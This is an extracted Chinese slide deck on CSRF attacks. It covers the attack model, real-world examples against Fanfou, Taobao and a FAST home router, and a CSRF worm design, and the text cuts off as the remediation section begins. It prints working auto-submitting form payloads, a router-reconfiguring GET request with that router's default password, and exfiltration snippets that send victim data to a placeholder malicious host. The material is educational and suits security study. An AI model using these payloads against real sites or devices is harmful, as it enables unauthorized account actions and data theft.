cosine-evilcos@gmail.comKnownsecTeamCSRF攻击-苏醒的巨人CSRF是什么•Cross-SiteRequestForgery跨站请求伪造。–1、跨站点的请求;2、请求是伪造的。•被攻击者的浏览器被迫向目标站点发起了伪造的请求,这个过程会带上被攻击者的身份验证标识(session)以通过目标站点的验证。从而借用被攻击者在目标站点上的权限进行一系列不被期望的操作。内容•1、CSRF模型•2、CSRF攻击与基于CSRF的攻击•3、CSRF蠕虫模型•4、修补建议•5、Q&A一、CSRF模型CSRF模型浏览器被攻击者目标站点恶意站点带上session/cookie可信任的请求可信任的请求正常的请求伪造的请求恶意站点•恶意站点=目标站点,同域CSRF。•恶意站点!=目标站点,跨域CSRF。•也许包含的CSRF攻击代码:–imgsrc=“http://目标站点/action=delete&id=7”–formaction=“http://目标站点/post.php”inputtype=“text”style=“…”name=“title”value=“csrf”/input…/form–iframesrc=“…”–…paramname=movievalue=post_as3.swf/embedsrc=post_as3.swf“…浏览器•本地cookie:–IE及IE内核浏览器:CSRF时,阻止带上本地cookie。–FF等浏览器:没这种限制。•内存cookie:–即sessioncookie。–IE与FF等浏览器不会阻止这类cookie。•多标签浏览器:–关闭标签页时,sessioncookie没被清除。•其他问题:–session的浏览器窗口继承问题。可信任的请求•正常的请求、伪造的请求。–浏览器、目标站点没对它们进行区分。•主要请求的类型:–POST型CSRF、GET型CSRF。–利用各种技术在客户端发起有效的POST请求与GET请求。–各种技术:JavaScript,ActionScript,HTML/CSS,XML,ASP,PHP,JSP,.NET等等。•用户驱动下的请求:–主动的、被动的。二、CSRF攻击与基于CSRF的攻击CSRF攻击•CSRF攻击能完成这些事:–删除、修改、新增目标站点上被攻击者的数据;–JSONHijacking等获取被攻击者的隐私数据;–作为其它攻击向量的辅助攻击手法;–使被攻击者成为黑客下一步攻击的跳板;–甚至可以实现CSRF蠕虫攻击。•下面是真实世界的CSRF攻击实例……CSRF攻击-实例1被攻击者(下面就是余弦)登录饭否的消息:不错的攻击手法:。于是好奇点击去看。CSRF攻击-实例1余弦的消息“test~”被删了?!CSRF攻击-实例1•问题出现在这个恶意站点的文件:,代码如下:?php$s=formmethod='post'action='=$s.inputtype='text'value='CI1z1FVs59Y'name='msg'style='display:none!important;display:block;width=0;height=0'/;$s=$s.inputtype='text'value='msg.del'name='action'style='display:none!important;display:block;width=0;height=0'/;$s=$s./form;$s=$s.scriptdocument.forms[0].submit();/script;echo($s);?CSRF攻击-实例1•其实还可以这样:–imgsrc==CI1z1FVs59Y/•使用了POST与GET两种CSRF方式删除消息。•伪造的删除请求来自恶意站点。•删除请求被目标站点执行之前,目标站点会检测是否有合法的身份验证标识(session/cookie)。•被攻击者肯定不希望看到这样的结果。CSRF攻击-实例2•还可以对本地网络设备进行CSRF攻击。CSRF攻击-实例2FAST无线宽带路由器的管理界面——远端WEB管理CSRF攻击-实例2在登录状态,被攻击者访问了带有CSRF攻击代码的网页时,就“被迫”开启了“远程WEB管理”功能。CSRF攻击-实例2•CSRF攻击代码如下:–imgsrc==80&ip=255.255.255.255&Save=%B1%A3+%B4%E6•使用GET方式发起的CSRF攻击。•通过社工等手法让被攻击者访问恶意站点的CSRF文件。•FAST无线宽带路由器的WEB管理的默认用户名与密码:admin。CSRF攻击-实例3•CSRF不一定需要浏览器:–rar自解压文件内执行javascript,等。•rar自解压文件如何CSRF成功?–目标站点存放了本地cookie。•截图……CSRF攻击-实例3CSRF攻击-实例3基于CSRF的攻击•基于CSRF的XSS攻击•基于CSRF的SQL注入攻击•基于CSRF的命令执行攻击•……•需要权限验证的漏洞可以使用基于CSRF的攻击手法。•经常被忽略的安全问题。基于CSRF的攻击-实例被攻击者登录自己的淘宝。在“编辑个人信息”处存在持久型的XSS漏洞。基于CSRF的攻击-实例他同时访问了。随后发生了XSS攻击。基于CSRF的攻击-实例•的部分代码如下:%s=formmethod='post'action='“……s=s+inputtype='text'style='display:none!important;display:block;width=0;height=0'value='火星"onmouseover="alert(/hi/.source)'name='_fmm.edi._0.a'/“……s=s+/forms=s+scriptdocument.forms[0].submit();/scriptResponse.write(s)%三、CSRF蠕虫模型CSRF蠕虫模型CSRF蠕虫数据处理中心Web2.0——具有CSRF漏洞数据获取模块数据发送模块XSS服务端代理技术JSONHijackingFlash(crossdomain.xml)POST(form/flash)GET(url)唯一标识1、数据获取模块•同域CSRF攻击。–同域内获取数据几乎没任何限制。•跨域CSRF攻击。–跨域获取数据的几种方法:1、XSS2、服务端代理技术3、JSONHijacing4、FlashAsctionScript(crossdomain.xml)•要获取的关键数据是唯一标识:–唯一的、无法全部预知的–用户id、用户昵称、用户email、用户个人页面地址等。使用XSS•使用目标站点上的XSS漏洞:iframewidth=0height=0src=‘http://目标站点/search.php?k=“scriptsrc=http://恶意站点/get.js/script’/iframe•http://恶意站点/get.js的代码是://useDOMmethodtogetyourdatanewImage().src=‘http://恶意站点/do.php?data=‘+yourdata;•恶意站点的do.php文件接收唯一标识等数据。该唯一标识可以是url中的或是目标站点url对应的内容中的。使用服务端代理•使用服务端代理技术:–asp/asp.net服务端的XMLHTTP,php的file_get_contents等等。•无法获取页面内容中的唯一标识,只能获取url中的唯一标识:–使用referer来获取目标站点的url。–r=Request.ServerVariables(“HTTP_REFERER”)。–r可能为http://目标站点/space/user/?id=2343,其中2343就是唯一标识。使用JSONHIJACKING•使用JSONHijacking技术:–目标站点使用了JSON数据传输用户私有数据。–该私有数据内包含我们需要的唯一标识等信息。•相关代码:scriptfunctionhijack(o){//useDOMmethodtogetyourdatanewImage().src==+escape(data);}/scriptscriptsrc==hijack&count=2/script使用FLASH•使用FlashActionScript脚本:–目标站点下必须存在crossdomain.xml文件。–crossdomain.xml中的配置允许其他域的AS脚本进行跨域请求。–?xmlversion=1.0?cross-domain-policyallow-access-fromdomain=*//cross-domain-policy•相关代码:importflash.net.*;var_l=newURLLoader(newURLRequest(“http://目标站点/));_l.addEventListener(Event.COMPLETE,function(){text1.text=_l.data});_l.load();其它方法•script标签的跨域性质:–目标站点有些根据用户唯一标识生成的.js等文件。–也许包含唯一标识在这些文件中,比如varuser_id=2343;。–我们可以获取这样的全局变量。•IE8下的XDomainRequest:–目标站点返回的HTTP头部中带有XDomainRequestAllowed=1。•CSSHttpRequest:–目标站点返回这样格式的数据:@importurl(about:chr:data);•其实我们漏了非常重要的一点:–我们来控制初始唯一标识,这在饭否CSRF蠕虫中会讲到。2、数据发送模块•唯一标识的作用。–在CSRF蠕虫数据处理中心对唯一标识对应的其它相关用户发起CSRF攻击。–就是这样的传播方式。•使用POST或GET型的CSRF发送伪造后的请求。–各种技术:JavaScript,ActionScript,HTML/CSS,XML,ASP,PHP,JSP,.NET等等。–在客户端发送,否则带不上session/cookie。CSRF蠕虫模型CSRF蠕虫数据处理中心Web2.0——具有CSRF漏洞数据获取模块数据发送模块XSS服务端代理技术JSONHijackingFlash(crossdomain.xml)POST(form/flash)GET(url)唯一标识饭否CSRF蠕虫•看这段录像……四、修补建议修补建议•在服务端区严格区分好POST与GET的数据请求。–如在asp中不要使用Request来直接获取数据。–建